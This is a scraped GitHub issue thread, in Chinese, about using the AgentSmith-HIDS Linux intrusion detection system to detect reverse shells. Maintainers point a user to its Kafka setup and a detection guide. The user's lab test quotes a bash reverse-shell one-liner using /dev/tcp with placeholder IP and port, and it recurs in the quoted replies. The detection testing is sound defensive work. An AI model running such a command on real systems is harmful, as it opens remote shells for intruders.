Comments (10)
@bingozilos 好的,近期我会准备一篇文章介绍一下AgentSmith-HIDS的原理和一些开发过程中的坑,敬请期待。在这之前如果感兴趣可以看一些关于Linux LKM开发的文章,应该会比较有帮助。
from agentsmith-hids.
小白提问贴:不太熟悉linux内核编程,部分源码读起来有些吃力,是否考虑写一些文章略微解释下原理。比如在通过hook sys_execve获取到执行的命令及pid等信息后,执行这个命令的用户信息是从哪里获取的?
from agentsmith-hids.
目前已经去除golang版本的用户态agent。
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
请附上你是如何使用的,清晰具体的问题会有让人回答的欲望。
from agentsmith-hids.
@wanglinhuiyong 这篇文章应该可以解答你的疑惑: https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/How-to-use-AgentSmith-HIDS-to-detect-reverse-shell/%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8AgentSmith-HIDS%E6%A3%80%E6%B5%8B%E5%8F%8D%E5%BC%B9shell.md
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
请附上你是如何使用的,清晰具体的问题会有让人回答的欲望。
我在虚拟机下安装了两个Centos8; 其中一个作为控制端,另一个作为被控端,我想在被控端能检测到反弹shell。于是按照https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/AgentSmith-HIDS-Quick-Start.md这个说明,在被控端安装了smith.ko及agent。当我在控制端监听某个端口,然后在被控端去连接它(bash -i >& /dev/tcp/ip/port 0>&1),我怎么知道有没有检测到反弹shell呢?从哪看到的呢?
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
请附上你是如何使用的,清晰具体的问题会有让人回答的欲望。
我在虚拟机下安装了两个Centos8; 其中一个作为控制端,另一个作为被控端,我想在被控端能检测到反弹shell。于是按照[https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/AgentSmith-HIDS-Quick-Start.md这个说明,在被控端安装了smith.ko及agent。当我在控制端监听某个端口,然后在被控端去连接它
bash-i >& /dev/tcp/ip/port 0>&1
,我怎么知道有没有检测到反弹shell呢?从哪看到的呢?
- 安装 ko 并启动 Agent 后,hids 会开始采集数据并通过 Agent 发送到 Kafka 中,关于 Kafka 的配置可以看这里: https://github.com/EBWi11/AgentSmith-HIDS/blob/master/agent/src/conf/settings.rs
- 拿到采集的数据后,可以根据这篇文章的思路分析采集的数据:https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/How-to-use-AgentSmith-HIDS-to-detect-reverse-shell/%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8AgentSmith-HIDS%E6%A3%80%E6%B5%8B%E5%8F%8D%E5%BC%B9shell.md
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
请附上你是如何使用的,清晰具体的问题会有让人回答的欲望。
我在虚拟机下安装了两个Centos8; 其中一个作为控制端,另一个作为被控端,我想在被控端能检测到反弹shell。于是按照[https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/AgentSmith-HIDS-Quick-Start.md这个说明,在被控端安装了smith.ko及agent。当我在控制端监听某个端口,然后在被控端去连接它
bash-i >& /dev/tcp/ip/port 0>&1
,我怎么知道有没有检测到反弹shell呢?从哪看到的呢?
- 安装 ko 并启动 Agent 后,hids 会开始采集数据并通过 Agent 发送到 Kafka 中,关于 Kafka 的配置可以看这里: https://github.com/EBWi11/AgentSmith-HIDS/blob/master/agent/src/conf/settings.rs
- 拿到采集的数据后,可以根据这篇文章的思路分析采集的数据:https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/How-to-use-AgentSmith-HIDS-to-detect-reverse-shell/%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8AgentSmith-HIDS%E6%A3%80%E6%B5%8B%E5%8F%8D%E5%BC%B9shell.md
再请教一下:我没懂kafka应该怎么参照agent/src/conf/settings.rs进行配置,我看kafka下的config/server.properties这个配置文件跟agent/src/conf/settings.rs没有相同的字段呀?
from agentsmith-hids.
请问应该怎么检测反弹shell呢,怎么得到检测反弹shell的结果呢?
请附上你是如何使用的,清晰具体的问题会有让人回答的欲望。
我在虚拟机下安装了两个Centos8; 其中一个作为控制端,另一个作为被控端,我想在被控端能检测到反弹shell。于是按照[https://github.com/EBWi11/AgentSmith-HIDS/blob/master/doc/AgentSmith-HIDS-Quick-Start.md这个说明,在被控端安装了smith.ko及agent。当我在控制端监听某个端口,然后在被控端去连接它
bash-i >& /dev/tcp/ip/port 0>&1
,我怎么知道有没有检测到反弹shell呢?从哪看到的呢?
- 安装 ko 并启动 Agent 后,hids 会开始采集数据并通过 Agent 发送到 Kafka 中,关于 Kafka 的配置可以看这里: /agent/src/conf/settings.rs@
master
- 拿到采集的数据后,可以根据这篇文章的思路分析采集的数据:/doc/How-to-use-AgentSmith-HIDS-to-detect-reverse-shell/%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8AgentSmith-HIDS%E6%A3%80%E6%B5%8B%E5%8F%8D%E5%BC%B9shell.md@
master
再请教一下:我没懂kafka应该怎么参照agent/src/conf/settings.rs进行配置,我看kafka下的config/server.properties这个配置文件跟agent/src/conf/settings.rs没有相同的字段呀?
LMGFY: https://www.google.com/search?q=kafka%20setup
from agentsmith-hids.
Related Issues (13)
- 为什么不直接使用系统原生的auditd? HOT 1
- 提个建议不定时更新 HOT 12
- 关于AgentSmith内核模块改用kprobe的说明 HOT 1
- 请问和 osquery 相比,有哪些优势吗? HOT 2
- 希望增加注释 HOT 1
- kretprobe 回调函数 HOT 2
- insmod smith.ko 报错 Unknown symbol __check_object_size
- 关于反弹shell及生产环境部署安全性问题 HOT 1
- 关于性能测试及资源占用控制 HOT 5
- 驱动在Ubuntu下编译出错 HOT 3
- NIDS什么开源 HOT 2
- HeartBeat 不稳定 HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from agentsmith-hids.